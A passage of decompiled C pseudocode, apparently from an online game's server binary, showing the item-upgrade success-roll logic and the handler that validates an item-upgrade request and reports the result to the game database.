[sp+28h] [bp-24h]@26 unsigned int nGrade; // [sp+2Ch] [bp-20h]@3 int ItemClass; // [sp+30h] [bp-1Ch]@3 int nItemID; // [sp+34h] [bp-18h]@1 ItemInfo *pItemIDInfo; // [sp+38h] [bp-14h]@3 int v52; // [sp+3Ch] [bp-10h]@27 int v53; // [sp+48h] [bp-4h]@1 char pInventorya; // [sp+54h] [bp+8h]@1 unsigned __int8 nItemUpLimita; // [sp+58h] [bp+Ch]@4 _.fe_FunctionCode = "Item_Upgrade Table mode"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_Upgrade Table mode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_Upgrade Table mode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = pInventory; v8 = pInventory->vfptr; v53 = 0; v9 = v8->ib_GetInventoryCell(pInventory, (unsigned __int8)nItemUpLimit); v10 = *(_WORD *)(v9 + 8); v11 = *(_WORD *)(v9 + 8); nItemID = *(_WORD *)(v9 + 8); pInventorya = Item_GetUpgradeLimit(v11); if ( pInventorya ) { v12 = ItemDataBox::operator__(&itemdatabox, v10)->data; nGrade = v12->Grade; v13 = **(_DWORD **)(v9 + 112); pItemIDInfo = v12; v14 = 0; ItemClass = (*(int (**)(void))(v13 + 36))(); switch ( ItemClass ) { case 5: case 8: nCon = *(_BYTE *)(v9 + 10); nItemUpLimita = *(_BYTE *)(v9 + 12); break; case 6: v15 = *(_BYTE *)(v9 + 10); v16 = *(_BYTE *)(v9 + 12); goto LABEL_8; case 7: nCon = *(_BYTE *)(v9 + 10); nItemUpLimita = *(_BYTE *)(v9 + 12); break; case 4: v15 = *(_BYTE *)(v9 + 14); v16 = *(_BYTE *)(v9 + 16); LABEL_8: nCon = v15; nItemUpLimita = v16; break; default: v40 = "Item_Upgrade Table mode"; goto LABEL_57; } if ( pInventorya <= (unsigned __int8)nCon ) { --funcallanalizer.fca_stackpoint; v53 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_Upgrade Table mode"); return 1; } v18 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)nItemUpgradeFailCount); v19 = *(_WORD *)(v18 + 8); if ( !Item_IsUpSource(v10, *(_WORD *)(v18 + 8), nCon) ) { --funcallanalizer.fca_stackpoint; v53 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_Upgrade Table mode"); return 2; } pItemIDRawInfo = ItemDataBox::operator__(&itemdatabox, v19)->data; if ( RawLeftSlotNo != -1 ) { v20 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawLeftSlotNo); v21 = *(_WORD *)(v20 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v20 + 8), nCon) ) { v53 = -1; FunctionEntarance::_FunctionEntarance(&_); return 8; } v22 = ItemDataBox::operator__(&itemdatabox, v21); v14 = 13 * nItemUpLimita; pItemRawLeftInfo = v22->data; } if ( RawRightSlotNo != -1 ) { v23 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawRightSlotNo); v24 = *(_WORD *)(v23 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v23 + 8), nCon) ) { v53 = -1; FunctionEntarance::_FunctionEntarance(&_); return 9; } pItemRawRightInfo = ItemDataBox::operator__(&itemdatabox, v24)->data; v14 += 12 * nItemUpLimita; } if ( v14 / 10 ) nItemUpLimita = v14 / 10; if ( RawMiddleSlotNo != -1 ) { v25 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawMiddleSlotNo); v26 = *(_WORD *)(v25 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v25 + 8), nCon) ) { v53 = -1; FunctionEntarance::_FunctionEntarance(&_); return 10; } pItemRawMiddleInfo = ItemDataBox::operator__(&itemdatabox, v26)->data; } v52 = (unsigned __int8)nCon; v27 = (unsigned __int8)nCon + 12 * nGrade - 12; v28 = CDataReader::GetRecord(&gItemUpgrade, (unsigned __int8)nCon + 12 * nGrade - 12); v29 = *((_WORD *)v28 + 2); LOWORD(v30) = *((_WORD *)v28 + 3); v31 = *((_WORD *)v28 + 4); nCona = *((_WORD *)v28 + 5); if ( ItemClass != 4 || ((v32 = ITableBase::GetByIndex(v27)) == 0 ? AssertClass::ac_AssertFail( &shineassert, "Item_Upgrade Not Found AccUpgrade Index :", v27) : (v29 = v32->CriFail, LOWORD(v30) = v32->DownFail, v31 = v32->NormalFail, nCona = v32->nCon), (v33 = ItemDataBox::operator__(&itemdatabox, nItemID)) != 0 && ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v33->dataserv->RandomOptionDropGroup)) ) { v34 = pItemIDRawInfo->UpSucRatio; if ( RawMiddleSlotNo != -1 ) v34 += pItemRawMiddleInfo->UpSucRatio; v35 = v29; v30 = (unsigned __int16)v30; v36 = (unsigned __int16)v30 + v29 + v31 - (nItemUpLimita * nCona - pItemIDInfo->DemandLv + v34 + 120); v37 = RandomBox::rb_1000(&rndbox); if ( (unsigned __int16)v37 > v36 ) { v39 = pItemIDRawInfo->UpLuckRatio; v38 = 0; if ( RawLeftSlotNo != -1 ) v39 += pItemRawLeftInfo->UpLuckRatio; if ( RawRightSlotNo != -1 ) v39 += pItemRawRightInfo->UpLuckRatio; if ( RawMiddleSlotNo != -1 ) v39 += pItemRawMiddleInfo->UpLuckRatio; if ( v39 > 0 ) { if ( RandomBox::rb_1000(&rndbox) < v39 ) { v38 = 1; if ( v52 + 2 > (unsigned __int8)pInventorya ) v38 = 0; } } } else { if ( v37 >= v35 ) { if ( v37 >= v30 || (v38 = 3, RawRightSlotNo != -1) && RandomBox::rb_1000(&rndbox) < (signed int)pItemRawRightInfo->UpSucRatio ) v38 = 2; } else { v38 = 4; if ( RawLeftSlotNo != -1 ) { if ( RandomBox::rb_1000(&rndbox) < (signed int)pItemRawLeftInfo->UpSucRatio ) v38 = 2; } } } v53 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v38 + 3; } else { v53 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { v40 = "Item_Upgrade Table mode"; LABEL_57: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v40); result = 0; } return result; } //----- (004E6F90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // edx@1 int v6; // eax@9 int v7; // edi@13 signed int v8; // eax@13 int v9; // edx@13 int v10; // STD4_4@13 int (__thiscall **v11)(_DWORD, _DWORD); // edx@20 int v12; // eax@20 int v13; // edx@20 ItemDataBox::ItemDataBoxIndex *v14; // eax@20 int v15; // edx@20 unsigned __int8 v16; // al@26 int v17; // eax@31 int v18; // edx@31 ItemDataBox::ItemDataBoxIndex *v19; // eax@31 ItemInfo *v20; // eax@32 unsigned __int8 v21; // al@36 int v22; // eax@42 int v23; // edx@42 ItemDataBox::ItemDataBoxIndex *v24; // eax@42 ItemInfo *v25; // eax@43 unsigned __int8 v26; // al@47 int v27; // eax@53 int v28; // edx@53 ItemDataBox::ItemDataBoxIndex *v29; // eax@53 ItemInfo *v30; // eax@54 int v31; // eax@58 int v32; // eax@58 __int64 v33; // qax@58 int v34; // eax@59 void *v35; // edx@63 int (__thiscall **v36)(_DWORD, _DWORD); // eax@63 int v37; // STD4_4@63 int v38; // eax@63 bool v39; // al@67 __int16 v40; // di@67 char v41; // cl@67 int v42; // edx@67 unsigned __int16 v43; // cx@67 bool v44; // al@68 int v45; // ecx@68 char v46; // al@68 int v47; // edx@68 char v48; // al@69 char v49; // dl@69 int v50; // eax@69 int v51; // ecx@69 unsigned __int16 v52; // dx@69 char v53; // al@69 bool v54; // al@70 int v55; // ecx@70 char v56; // al@70 int v57; // edx@70 int v58; // ecx@71 char v59; // al@71 int v60; // edx@71 unsigned __int16 v61; // ax@71 char *v62; // esi@73 int v63; // eax@73 char v64; // cl@73 char v65; // dl@73 char v66; // al@73 int v67; // edi@73 int v68; // eax@73 int v69; // edx@73 unsigned __int8 v70; // al@73 int v71; // eax@74 int v72; // edx@74 int v73; // ecx@75 unsigned __int8 v74; // al@75 int v75; // eax@76 int v76; // edx@76 unsigned __int8 v77; // al@77 int v78; // eax@78 int v79; // edx@78 const void *v80; // edx@79 char v81; // al@79 void *v82; // eax@80 void *v83; // edx@82 void *v84; // edx@84 char v85; // al@85 ZoneBaseSession *v86; // eax@86 int v87; // edi@87 __int16 v88; // cx@87 __int16 v89; // dx@87 __int16 v90; // ax@87 __int16 v91; // cx@87 int v92; // edx@87 int v93; // esi@88 int v94; // eax@88 int v95; // esi@89 int v96; // eax@89 unsigned __int8 v97; // al@90 int v98; // esi@92 int v99; // eax@92 int v100; // eax@93 int v101; // edx@93 int v102; // esi@93 int v103; // eax@93 unsigned __int8 v104; // al@94 int v105; // esi@96 int v106; // eax@96 int v107; // eax@97 int v108; // edx@97 int v109; // esi@97 int v110; // eax@97 unsigned __int8 v111; // al@98 int v112; // esi@100 int v113; // eax@100 int v114; // eax@101 int v115; // edx@101 int v116; // esi@101 int v117; // eax@101 int v118; // edx@102 int v119; // esi@103 int v120; // eax@103 int v121; // esi@104 int v122; // eax@104 int v123; // esi@105 int v124; // eax@105 int v125; // eax@105 signed int v126; // [sp+D4h] [bp-174h]@2 char v127; // [sp+EBh] [bp-15Dh]@64 FunctionEntarance _; // [sp+ECh] [bp-15Ch]@1 const void *pRawCell; // [sp+F0h] [bp-158h]@13 char nItemFailCount; // [sp+F5h] [bp-153h]@67 char nItemAdjLevel; // [sp+F6h] [bp-152h]@67 bool v132; // [sp+F7h] [bp-151h]@63 void *pRawMiddleCell; // [sp+F8h] [bp-150h]@20 int v134; // [sp+FCh] [bp-14Ch]@58 ITEM_INVEN RawRightItemInven; // [sp+100h] [bp-148h]@87 ITEM_INVEN EquipItemInven; // [sp+104h] [bp-144h]@87 ITEM_INVEN RawMiddleItemInven; // [sp+108h] [bp-140h]@87 ITEM_INVEN RawLeftItemInven; // [sp+10Ch] [bp-13Ch]@87 ITEM_INVEN RawItemInven; // [sp+110h] [bp-138h]@87 int pRawLeftCell; // [sp+114h] [bp-134h]@73 int pRawRightCell; // [sp+118h] [bp-130h]@73 unsigned int nRawLeft_Lot; // [sp+11Ch] [bp-12Ch]@20 unsigned int nRawRight_Lot; // [sp+120h] [bp-128h]@20 unsigned int nRawMiddle_Lot; // [sp+124h] [bp-124h]@20 unsigned int nRaw_Lot; // [sp+128h] [bp-120h]@20 int pInvCell; // [sp+12Ch] [bp-11Ch]@63 __int64 giftmoney; // [sp+130h] [bp-118h]@58 InventoryLocking::ReservedQuantity reserv; // [sp+13Ch] [bp-10Ch]@58 int UpgItem; // [sp+150h] [bp-F8h]@64 int v150; // [sp+154h] [bp-F4h]@67 SHINE_ITEM_STRUCT pItemStruct; // [sp+158h] [bp-F0h]@64 char iti; // [sp+1C0h] [bp-88h]@93 char v153; // [sp+1CAh] [bp-7Eh]@93 __int16 v154; // [sp+22Ch] [bp-1Ch]@93 char v155; // [sp+22Eh] [bp-1Ah]@93 unsigned int cookie; // [sp+234h] [bp-14h]@111 int v157; // [sp+244h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v157 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *, signed int))(v5 + 1628))(v4, 6) ) { v126 = 2263; LABEL_109: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, v126); goto LABEL_110; } if ( !(_S4_15 & 1) ) { _S4_15 |= 1u; cmc_70.cmc_AllowMode = 70; atexit(_E5_60); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_70.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2262); LABEL_110: --funcallanalizer.fca_stackpoint; v157 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ"); goto LABEL_111; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2264); goto LABEL_110; } v6 = *(_DWORD *)((char *)v4 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 158) ) { v126 = 2254; goto LABEL_109; } if ( CurrentMenu::cm_MenuAction((CurrentMenu *)((char *)v4 + 68332), (#440 *)v4) ) { v7 = (int)((char *)v4 + 35568); v8 = (*(int (__thiscall **)(char *, char *))(*((_DWORD *)v4 + 8892) + 4))((char *)v4 + 35568, (char *)v4 + 91688); v9 = *(_BYTE *)(netcmd + 2) < v8; v10 = *(_BYTE *)(netcmd + 2); pRawCell = (const void *)v8; if ( AssertClass::operator__( &shineassert, v9, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong equip slot", v10) ) { $L149360: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2248); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD))(*((_DWORD *)v4 + 14442) + 12))( (char *)v4 + 57768, 9, *(_BYTE *)(netcmd + 2)) ) { LABEL_15: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2248); LABEL_106: v157 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_111; } if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 3) < (signed int)pRawCell, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong raw slot", *(_BYTE *)(netcmd + 3)) ) { LABEL_17: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2249); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD))(*((_DWORD *)v4 + 14442) + 12))( (char *)v4 + 57768, 9, *(_BYTE *)(netcmd + 3)) ) goto $L158247; v11 = *(int (__thiscall ***)(_DWORD, _DWORD))v7; nRawLeft_Lot = 0; nRawRight_Lot = 0; nRawMiddle_Lot = 0; v12 = (*(int (__thiscall **)(char *, _DWORD))v11)((char *)v4 + 35568, *(_BYTE *)(netcmd + 3)); v13 = **(_DWORD **)(v12 + 112); pRawMiddleCell = (void *)(v12 + 8); nRaw_Lot = (*(int (__stdcall **)(int))(v13 + 24))(v12 + 8); v14 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)pRawMiddleCell); v15 = *(_DWORD *)v4; if ( !v14 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v15 + 776))(v4, 12, 24, 2249); goto LABEL_106; } pRawMiddleCell = v14->data; if ( *(_DWORD *)((char *)pRawMiddleCell + 119) > (unsigned int)(unsigned __int8)(*(int (__thiscall **)(void *))(v15 + 1220))(v4) ) goto LABEL_17; if ( !pRawMiddleCell ) { $L158247: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2249); goto LABEL_106; } if ( (signed int)nRaw_Lot < 1 || nRaw_Lot > *(_DWORD *)((char *)pRawMiddleCell + 106) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2255); goto LABEL_106; } *(_WORD *)((char *)v4 + 89021) = -1; *(_WORD *)((char *)v4 + 89023) = -1; *(_WORD *)((char *)v4 + 89025) = -1; v16 = *(_BYTE *)(netcmd + 4); if ( v16 != -1 ) { if ( AssertClass::operator__( &shineassert, v16 < (signed int)pRawCell, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong raw_left slot", v16) ) { LABEL_28: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2258); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 14442) + 12))( (char *)v4 + 57768, 9, *(_BYTE *)(netcmd + 4)) ) goto LABEL_114; v17 = (**(int (__thiscall ***)(char *, _DWORD))v7)((char *)v4 + 35568, *(_BYTE *)(netcmd + 4)); v18 = **(_DWORD **)(v17 + 112); pRawMiddleCell = (void *)(v17 + 8); nRawLeft_Lot = (*(int (__stdcall **)(int))(v18 + 24))(v17 + 8); v19 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)pRawMiddleCell); if ( !v19 ) goto LABEL_28; v20 = v19->data; if ( !v20 ) { LABEL_114: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2258); goto LABEL_106; } if ( (signed int)nRawLeft_Lot < 1 || nRawLeft_Lot > v20->MaxLot ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2256); goto LABEL_106; } *(_WORD *)((char *)v4 + 89021) = *(_WORD *)pRawMiddleCell; } v21 = *(_BYTE *)(netcmd + 5); if ( v21 != -1 ) { if ( AssertClass::operator__( &shineassert, v21 < (signed int)pRawCell, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong raw_right slot", v21) ) { LABEL_38: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2259); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 14442) + 12))( (char *)v4 + 57768, 9, *(_BYTE *)(netcmd + 5)) ) goto LABEL_115; v22 = (**(int (__thiscall ***)(char *, _DWORD))v7)((char *)v4 + 35568, *(_BYTE *)(netcmd + 5)); v23 = **(_DWORD **)(v22 + 112); pRawMiddleCell = (void *)(v22 + 8); nRawRight_Lot = (*(int (__stdcall **)(int))(v23 + 24))(v22 + 8); v24 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)pRawMiddleCell); if ( !v24 ) goto LABEL_38; v25 = v24->data; if ( !v25 ) { LABEL_115: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2259); goto LABEL_106; } if ( (signed int)nRawRight_Lot < 1 || nRawRight_Lot > v25->MaxLot ) goto LABEL_50; *(_WORD *)((char *)v4 + 89023) = *(_WORD *)pRawMiddleCell; } v26 = *(_BYTE *)(netcmd + 10); if ( v26 == -1 ) { LABEL_58: v31 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, InventoryLocking::ReservedQuantity *))(*(_DWORD *)v31 + 80))(v31, &reserv); v32 = *(_DWORD *)v4; LODWORD(giftmoney) = *(_DWORD *)(netcmd + 6); LODWORD(v33) = (*(int (__thiscall **)(void *))(v32 + 1056))(v4); v134 = HIDWORD(v33); v34 = (unsigned int)giftmoney <= (unsigned __int64)(reserv.cen + v33); if ( AssertClass::operator__( &shineassert, v34, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : not enough money", *(_DWORD *)(netcmd + 6)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2251); goto LABEL_106; } v35 = (void *)(unsigned __int8)Item_Upgrade( (#440 *)v4, (ItemBag *)v4 + 8892, *(_BYTE *)(netcmd + 2), *(_BYTE *)(netcmd + 3), *(_BYTE *)(netcmd + 4), *(_BYTE *)(netcmd + 5), *(_BYTE *)(netcmd + 10)); v36 = *(int (__thiscall ***)(_DWORD, _DWORD))v7; v37 = *(_BYTE *)(netcmd + 2); pRawMiddleCell = v35; LOBYTE(pRawCell) = 0; *(_WORD *)((char *)&pRawCell + 1) = 0; v132 = 0; v38 = (*(int (__thiscall **)(char *, int))v36)((char *)v4 + 35568, v37); pInvCell = v38; if ( v38 ) { memcpy(&UpgItem, (const void *)v38, 0x6Cu); *(_WORD *)((char *)&pItemStruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v38 + 108); BYTE3(pItemStruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v38 + 110); v127 = 0; switch ( pRawMiddleCell ) { default: goto $L158247; case 0u: goto $L149360; case 1u: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2250); goto LABEL_106; case 3u: nItemAdjLevel = 1; v127 = Item_AdjUpgradeLevel(&pItemStruct, 1); nItemFailCount = Item_AdjFailCount(&pItemStruct, 0, 1); v39 = item_RandomOptionUpgrade( &pItemStruct, (ItemOptionStorage::Element *)&pRawCell, 1, (unsigned __int8)v127); v40 = (signed __int16)pRawCell; v41 = BYTE2(pRawCell); v42 = UpgItem; v132 = v39; *(_WORD *)((char *)v4 + 89027) = (_WORD)pRawCell; *((_BYTE *)v4 + 89029) = v41; v43 = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 89013) = v150; *(_DWORD *)((char *)v4 + 89009) = v42; *(_WORD *)((char *)v4 + 89017) = v43; *((_BYTE *)v4 + 89019) = v127 - 1; *((_BYTE *)v4 + 89020) = v127; break; case 4u: nItemAdjLevel = 2; v127 = Item_AdjUpgradeLevel(&pItemStruct, 2); nItemFailCount = Item_AdjFailCount(&pItemStruct, 0, 1); v44 = item_RandomOptionUpgrade( &pItemStruct, (ItemOptionStorage::Element *)&pRawCell, 2, (unsigned __int8)v127); v40 = (signed __int16)pRawCell; v45 = UpgItem; v132 = v44; v46 = BYTE2(pRawCell); *(_WORD *)((char *)v4 + 89027) = (_WORD)pRawCell; *((_BYTE *)v4 + 89029) = v46; v47 = v150; *(_WORD *)((char *)v4 + 89017) = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 89009) = v45; *(_DWORD *)((char *)v4 + 89013) = v47; *((_BYTE *)v4 + 89019) = v127 - 2; *((_BYTE *)v4 + 89020) = v127; break; case 5u: nItemAdjLevel = 0; v127 = Item_AdjUpgradeLevel(&pItemStruct, 0); v48 = Item_AdjFailCount(&pItemStruct, 1, 0); v40 = (signed __int16)pRawCell; v49 = BYTE2(pRawCell); nItemFailCount = v48; v50 = UpgItem; *(_WORD *)((char *)v4 + 89027) = (_WORD)pRawCell; *((_BYTE *)v4 + 89029) = v49; v51 = v150; v52 = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 89009) = v50; v53 = v127; *(_DWORD *)((char *)v4 + 89013) = v51; *(_WORD *)((char *)v4 + 89017) = v52; *((_BYTE *)v4 + 89020) = v127; goto LABEL_72; case 6u: v127 = Item_AdjUpgradeLevel(&pItemStruct, -1); nItemFailCount = Item_AdjFailCount(&pItemStruct, 1, 0); nItemAdjLevel = -1; v54 = item_RandomOptionUpgrade( &pItemStruct, (ItemOptionStorage::Element *)&pRawCell, -1, (unsigned __int8)v127); v40 = (signed __int16)pRawCell; v55 = UpgItem; v132 = v54; v56 = BYTE2(pRawCell); *(_WORD *)((char *)v4 + 89027) = (_WORD)pRawCell; *((_BYTE *)v4 + 89029) = v56; v57 = v150; *(_WORD *)((char *)v4 + 89017) = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 89009) = v55; *(_DWORD *)((char *)v4 + 89013) = v57; *((_BYTE *)v4 + 89019) = v127 + 1; *((_BYTE *)v4 + 89020) = v127; break; case 7u: v58 = UpgItem; v40 = (signed __int16)pRawCell; v59 = BYTE2(pRawCell); *(_WORD *)((char *)v4 + 89027) = (_WORD)pRawCell; *((_BYTE *)v4 + 89029) = v59; v60 = v150; v61 = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 89009) = v58; nItemFailCount = 0; nItemAdjLevel = 100; *(_DWORD *)((char *)v4 + 89013) = v60; *(_WORD *)((char *)v4 + 89017) = v61; v53 = Item_AdjUpgradeLevel(&pItemStruct, 0); *((_BYTE *)v4 + 89020) = -1; LABEL_72: *((_BYTE *)v4 + 89019) = v53; break; } (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1632))(v4, 6); v62 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = handle; v63 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v64 = BYTE2(pRawCell); v65 = v132; *((_DWORD *)v62 + 1) = v63; *(_WORD *)(v62 + 77) = v40; v62[79] = v64; v62[76] = v65; *((_WORD *)v62 + 4) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4) + 4); *(_DWORD *)(v62 + 10) = UpgItem; *(_DWORD *)(v62 + 14) = v150; *((_WORD *)v62 + 9) = pItemStruct.itemid; v66 = nItemAdjLevel; v62[20] = nItemAdjLevel; v62[23] = nItemFailCount; v62[21] = v66 == 100; v62[22] = v127; v67 = (int)((char *)v4 + 35568); v68 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))( (char *)v4 + 35568, *(_BYTE *)(netcmd + 3)); v69 = *(_DWORD *)v68; pRawCell = (const void *)v68; *((_DWORD *)v62 + 6) = v69; *((_DWORD *)v62 + 7) = *(_DWORD *)(v68 + 4); pRawLeftCell = 0; pRawRightCell = 0; pRawMiddleCell = 0; *((_DWORD *)v62 + 8) = 0; *((_DWORD *)v62 + 9) = 0; *((_DWORD *)v62 + 10) = 0; *((_DWORD *)v62 + 11) = 0; *((_DWORD *)v62 + 12) = 0; *((_DWORD *)v62 + 13) = 0; v70 = *(_BYTE *)(netcmd + 4); if ( v70 != -1 ) { v71 = (**(int (__thiscall ***)(char *, _DWORD))v67)((char *)v4 + 35568, v70); *((_DWORD *)v62 + 8) = *(_DWORD *)v71; v72 = *(_DWORD *)(v71 + 4); pRawLeftCell = v71; *((_DWORD *)v62 + 9) = v72; } v73 = netcmd; v74 = *(_BYTE *)(netcmd + 5); if ( v74 != -1 ) { v75 = (**(int (__thiscall ***)(char *, _DWORD))v67)((char *)v4 + 35568, v74); *((_DWORD *)v62 + 10) = *(_DWORD *)v75; v76 = *(_DWORD *)(v75 + 4); v73 = netcmd; pRawRightCell = v75; *((_DWORD *)v62 + 11) = v76; } v77 = *(_BYTE *)(v73 + 10); if ( v77 != -1 ) { v78 = (**(int (__thiscall ***)(_DWORD, _DWORD))v67)((char *)v4 + 35568, v77); *((_DWORD *)v62 + 12) = *(_DWORD *)v78; v79 = *(_DWORD *)(v78 + 4); v73 = netcmd; pRawMiddleCell = (void *)v78; *((_DWORD *)v62 + 13) = v79; } v80 = pRawCell; *((_WORD *)v62 + 32) = -1; *((_WORD *)v62 + 33) = -1; *((_WORD *)v62 + 34) = -1; *(_WORD *)(v62 + 73) = -1; v81 = nRaw_Lot; v62[71] = 0; v62[72] = 0; v62[75] = 0; v62[70] = v81; *((_WORD *)v62 + 32) = *((_WORD *)v80 + 4); if ( *(_BYTE *)(v73 + 4) != -1 ) { v82 = (void *)pRawLeftCell; v62[71] = nRawLeft_Lot; *((_WORD *)v62 + 33) = *((_WORD *)v82 + 4); } if ( *(_BYTE *)(v73 + 5) != -1 ) { v83 = (void *)pRawRightCell; v62[72] = nRawRight_Lot; *((_WORD *)v62 + 34) = *((_WORD *)v83 + 4); } if ( *(_BYTE *)(v73 + 10) != -1 ) { v84 = pRawMiddleCell; v62[75] = nRawMiddle_Lot; *(_WORD *)(v62 + 73) = *((_WORD *)v84 + 4); } *((_DWORD *)v62 + 14) = giftmoney; *((_DWORD *)v62 + 15) = 0; *(_WORD *)v62 = 13383; v85 = ProtocolPacket::pp_SetPacketLen(&gpp, 80); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v85, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : Packet Too Long", 80) ) { v86 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v86); } v87 = netcmd; v88 = *(_BYTE *)(netcmd + 3); v89 = *(_BYTE *)(netcmd + 4); EquipItemInven.Inven = *(unsigned __int8 *)(netcmd + 2) | 0x2400; v90 = *(_BYTE *)(netcmd + 5); RawItemInven.Inven = v88 & 0x3FF | 0x2400; v91 = *(_BYTE *)(netcmd + 10); RawLeftItemInven.Inven = v89 & 0x3FF | 0x2400; v92 = *(_DWORD *)v4; RawMiddleItemInven.Inven = v91 & 0x3FF | 0x2400; RawRightItemInven.Inven = v90 & 0x3FF | 0x2400; if ( v62[21] ) { v93 = (*(int (__thiscall **)(void *))(v92 + 1916))(v4); v94 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v93 + 40))( v93, *(_WORD 